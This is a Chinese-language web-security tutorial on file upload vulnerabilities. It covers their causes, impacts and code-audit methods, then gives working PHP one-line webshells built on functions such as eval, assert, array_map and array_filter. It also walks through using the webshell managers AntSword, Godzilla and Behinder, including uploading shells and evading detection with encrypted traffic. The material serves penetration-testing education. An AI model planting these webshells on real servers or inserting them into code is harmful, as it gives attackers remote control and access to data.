文件上传漏洞
产生原因
文件上传漏洞是由于开发者在设计文件上传功能时,未对用户上传的文件进行严格的验证或过滤,导致攻击者可以上传恶意文件到服务器。这类漏洞通常源于以下几个方面:
- 未验证文件类型:服务器仅通过文件扩展名(如
.jpg
、.png
)判断文件类型,而未检查文件内容的真实性。攻击者可能通过伪造扩展名上传恶意脚本。 - 未限制文件大小:缺乏文件大小限制可能导致服务器资源耗尽,甚至引发拒绝服务(DoS)攻击。
- 未验证文件内容:未对文件内容进行深度检查,可能允许上传包含恶意代码的文件(如 PHP WebShell)。
- 不安全的文件存储路径:上传文件存储在可公开访问的目录(如
/uploads/
),攻击者可直接访问并执行恶意文件。 - 信任客户端验证:仅依赖前端 JavaScript 验证文件类型,攻击者可通过修改前端代码绕过限制。
- 弱 MIME 类型检查:仅检查 HTTP 请求中的
Content-Type
头,而未验证文件内容的实际 MIME 类型。
危害
文件上传漏洞可能对服务器和业务系统造成严重威胁,具体危害包括:
- 上传 WebShell 控制服务器:攻击者上传 WebShell(如 PHP、ASP 或 JSP 脚本),通过访问该文件执行任意代码,甚至完全控制服务器。
- 资源消耗攻击:上传大文件或大量文件,耗尽服务器的磁盘空间、带宽或 CPU 资源,导致系统性能下降或服务不可用。
- 数据泄露:通过上传恶意脚本,攻击者可能获取服务器上的敏感数据,如用户信息、配置文件或数据库备份。
- 恶意文件分发:将恶意软件伪装成正常文件上传,诱导其他用户下载,导致恶意软件传播。
- 网站内容篡改:上传恶意文件覆盖合法文件,导致网站页面内容被篡改,影响用户体验或信任。
- 持久化攻击:上传的 WebShell 可作为攻击者的后门,长期潜伏在服务器中,用于后续攻击。
挖掘
代码审计
代码审计是发现文件上传漏洞的重要方法:
定位文件上传功能点:
- 搜索与文件上传相关的函数或关键字。例如,在 PHP 中,重点关注
move_uploaded_file()
。
- 搜索与文件上传相关的函数或关键字。例如,在 PHP 中,重点关注
追溯文件参数来源:
- 检查
move_uploaded_file()
的第一个参数,确认是否直接来自用户输入。 - 查看是否有过滤函数(如
mime_content_type()
或自定义白名单)对文件类型、扩展名或内容进行验证。
- 检查
检查过滤逻辑:
- 确认是否存在文件类型白名单(如只允许
image/jpeg
、image/png
)。 - 检查是否仅依赖客户端提供的
Content-Type
或文件扩展名。 - 验证是否有文件内容检查(如使用
getimagesize()
检测图片真实性)。
- 确认是否存在文件类型白名单(如只允许
分析存储路径:
- 检查上传文件的存储路径是否可被公开访问(如在 Web 根目录下)。
- 查看是否对文件名进行重命名,防止攻击者利用已知路径直接访问。
验证漏洞:
- 如果发现过滤不严格(如仅检查扩展名),尝试构造恶意文件(如将 PHP 代码嵌入图片文件)进行测试。
- 使用测试环境模拟上传,验证是否能成功上传并执行恶意代码。
黑盒测试
对所有的上传功能点分别测试即可。
WebShell
WebShell 分类
WebShell 是一种通过 Web 访问执行服务器命令的脚本,根据编程语言和功能复杂性可分为以下类型:
按语言分类:
- PHP:常见于 LAMP 架构网站,功能强大,易于编写。
- ASP/ASP.NET:常见于 Windows 服务器,使用 VBScript 或 C#。
- JSP:常见于 Java 服务器,基于 Servlet 技术。
- Python:较少见,通常用于 Flask 或 Django 环境。
按大小和功能分类:
- 一句话木马:代码极短(通常几行),功能简单,易于隐藏。如 PHP 的
<?php eval($_POST['cmd']); ?>
。 - 小马:功能稍复杂,支持文件管理或简单命令执行,代码量中等。
- 大马:功能全面,支持文件管理、命令执行、数据库操作、反弹 Shell 等,代码量较大。
- 一句话木马:代码极短(通常几行),功能简单,易于隐藏。如 PHP 的
php webshell 代码执行函数
以下是常见的 PHP 代码执行函数 及其在 WebShell 中的用法。
eval
作用:将字符串作为 PHP 代码执行。
官方文档:https://www.php.net/manual/zh/function.eval.php
示例代码:
<?php
// @ 忽略警告信息,避免暴露错误
@eval($_POST['CMD']);
// 示例:通过 POST 请求传入 CMD=system('id'); 执行系统命令
?>
代码说明:
@
:忽略错误或警告信息,防止泄露服务器信息。$_POST['CMD']
:从 POST 请求获取用户输入的 PHP 代码。eval
:直接执行输入的字符串作为 PHP 代码。例如,传入system("id")
可执行系统命令id
。- 注意:
eval
是语言构造器,不能作为 可变函数 或使用 命名参数 调用。 - 安全风险:无任何过滤,直接执行用户输入,极易被利用。
assert
作用:断言检测,早期版本可用于执行字符串代码。
官方文档:https://www.php.net/manual/zh/function.assert.php
示例代码:
<?php
// 忽略警告信息
@assert($_POST['CMD']);
// 示例:通过 POST 请求传入 CMD=system('whoami'); 执行系统命令
?>
代码说明:
使用方式与
eval
一致,接收用户输入并执行。版本限制:
- PHP 7.3 起,
assert
的代码执行功能被弃用。 - PHP 8.0 完全移除
assert
的代码执行能力,即assert
不能再传入字符串,仅保留断言功能。
- PHP 7.3 起,
注意:在低版本 PHP 中,
assert
是eval
的替代品,但在现代环境中已不可用。
preg_replace
作用:正则表达式搜索和替换,早期版本的 /e
修饰符可执行代码。
官方文档:https://www.php.net/manual/zh/function.preg-replace.php
示例代码:
<?php
// 使用 /e 修饰符执行用户输入的代码
preg_replace("/abc/e", $_POST['CMD'], "abc");
// 示例:通过 POST 请求传入 CMD=system('ls'); 执行系统命令
?>
代码说明:
/e
修饰符:将匹配的字符串作为 PHP 代码执行。- 版本限制:PHP 5.5 起移除
/e
修饰符,现代 PHP 无法使用此方法。
create_function
作用:动态创建匿名函数。
官方文档:https://www.php.net/manual/zh/function.create-function.php
示例代码:
<?php
// 创建动态函数,执行用户输入的代码
$func = create_function("", $_POST['CMD']);
// 调用动态函数
$func();
// 示例:通过 POST 请求传入 CMD=system('pwd'); 执行系统命令
?>
代码说明:z
create_function
创建一个匿名函数,执行用户输入的代码。版本限制:
- PHP 7.2 起,
create_function
被弃用。 - PHP 8.0 完全移除此函数。
- PHP 7.2 起,
安全风险:与
eval
类似,缺乏输入验证,易被攻击者利用。
array_map
作用:将回调函数应用于数组的每个元素。
官方文档:https://www.php.net/manual/zh/function.array-map.php
示例代码:
<?php
// 获取用户输入的函数名和参数
$function_name = $_POST['func'];
$function_args = $_POST['args'];
// 将参数放入数组
$arr[0] = $function_args;
// 使用 array_map 调用用户指定的函数
array_map($function_name, $arr);
// 示例:通过 POST 请求传入 func=phpinfo&args=-1 执行系统命令
?>
代码说明:
array_map
将用户输入的函数名($function_name
)应用于数组元素。- 安全风险:攻击者可传入任意函数名(如
system
)和参数,执行恶意命令。 - 使用场景:常用于动态调用系统函数或用户定义函数。
array_filter
作用:使用回调函数过滤数组元素。
官方文档:https://www.php.net/manual/zh/function.array-filter.php
示例代码:
<?php
// 获取用户输入的函数名和参数
$function_name = $_POST['func'];
$function_args = $_POST['args'];
// 将参数放入数组
$arr[0] = $function_args;
// 使用 array_filter 调用用户指定的函数
array_filter($arr, $function_name);
// 示例:通过 POST 请求传入 func=system&args=whoami 执行系统命令
?>
代码说明:
- 使用方式和原理与
array_map
一致。 - 安全风险:与
array_map
类似,缺乏输入验证,易被利用。
WebShell 管理工具
WebShell 管理工具用于简化 WebShell 的操作,提供图形化界面管理服务器资源。
蚁剑(AntSword)
简介:蚁剑是一款开源的 WebShell 管理工具,支持多种语言的 WebShell,广泛用于渗透测试。
官方文档:https://www.yuque.com/antswordproject/antsword
下载与安装:
- 下载 AntSword Loader:https://github.com/AntSwordProject/AntSword-Loader
- 克隆 AntSword 源码:
git clone https://github.com/AntSwordProject/AntSword.git
- 运行
antsword.exe
,点击“初始化”,选择源码文件夹完成安装。
使用方法:
蚁剑只能使用一句话木马,是明文传输的。
添加 WebShell:
- URL 地址:输入 WebShell 的访问地址
(如
http://192.168.126.120/dvwa/hackable/uploads/eval.php
)。 - 连接密码:输入 WebShell 的参数名(如
CMD
)。
- URL 地址:输入 WebShell 的访问地址
(如
主要功能:
- 文件管理:支持文件的上传、下载、创建、删除、查看和移动。
- 命令执行:执行系统命令(如
whoami
、ls
),但不支持交互式命令(如top
)。 - 数据库管理:连接目标网站的数据库,执行 SQL 查询或管理数据。
示例截图:
- 添加 WebShell 界面:
- 功能界面:
哥斯拉(godzilla)
简介:哥斯拉是一款功能强大的 WebShell 管理工具,支持加密通信和多种语言的 WebShell。
官方地址:https://github.com/BeichenDream/Godzilla
使用方法:
哥斯拉必须使用其自己生成的木马,是加密传输。
启动哥斯拉:
java -jar godzilla.jar
生成 WebShell:
- 使用哥斯拉生成专用的 WebShell 文件(支持 PHP 等)。
- 上传生成的 WebShell 到目标网站。
连接 WebShell:
- 输入 WebShell 的 URL 和连接密码。
- 使用哥斯拉提供的加密通道进行管理。
主要功能:
- 支持文件管理、命令执行和数据库操作。
- 提供加密通信,降低被检测的风险。
注意事项:
- 哥斯拉仅支持其专属 WebShell 或特定的 PHP eval 型 WebShell。
- 确保 Java 环境已正确配置。
示例截图:
冰蝎(behinder)
简介:冰蝎是一款基于 Java 开发的 Web 渗透测试工具,主要用于 WebShell 管理和内网渗透
官方地址:https://github.com/rebeyond/Behinder
使用方法:
冰蝎使用的木马位于其压缩包内 server 文件夹,亦可自己生成,是加密传输。
启动冰蝎:
java -jar Behinder.jar
生成 WebShell:
- 使用冰蝎生成专用的 WebShell 文件(支持 PHP 等)。
- 上传生成的 WebShell 到目标网站。
连接 WebShell:
- 输入 WebShell 的 URL 和连接密码,密码初始默认为冰蝎作者 ID。
- 使用冰蝎提供的加密通道进行管理。
主要功能:
- 支持文件管理、命令执行和数据库操作。
- 提供加密通信,降低被检测的风险。
- 数据库连接:
mysql://用户名:密码@mysql的主机名或ip:3306/mysql
注意事项:
- 确保 Java 环境已正确配置。
示例截图:
- 连接 WebShell 界面:
- 连接数据库界面